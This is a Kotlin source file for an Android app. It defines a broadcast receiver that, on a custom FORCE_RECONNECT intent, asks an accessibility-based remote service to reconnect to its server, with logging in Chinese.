package com.hikoncont.receiver

import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService

/**
 * 重连广播接收器
 * 用于测试和手动触发重连
 */
class ReconnectReceiver : BroadcastReceiver() {

    companion object {
        private const val TAG = "ReconnectReceiver"
        const val ACTION_FORCE_RECONNECT = "android.mycustrecev.FORCE_RECONNECT"
    }

    override fun onReceive(context: Context, intent: Intent) {
        Log.i(TAG, "收到广播: ${intent.action}")
        
        when (intent.action) {
            ACTION_FORCE_RECONNECT -> {
                Log.i(TAG, "🔄 收到强制重连广播")
                handleForceReconnect()
            }
        }
    }
    
    private fun handleForceReconnect() {
        try {
            val accessibilityService = AccessibilityRemoteService.getInstance()
            if (accessibilityService != null) {
                Log.i(TAG, "✅ 找到AccessibilityService实例，执行重连")
                accessibilityService.reconnectToServer()
            } else {
                Log.w(TAG, "❌ AccessibilityService实例未找到")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理强制重连失败", e)
        }
    }
} 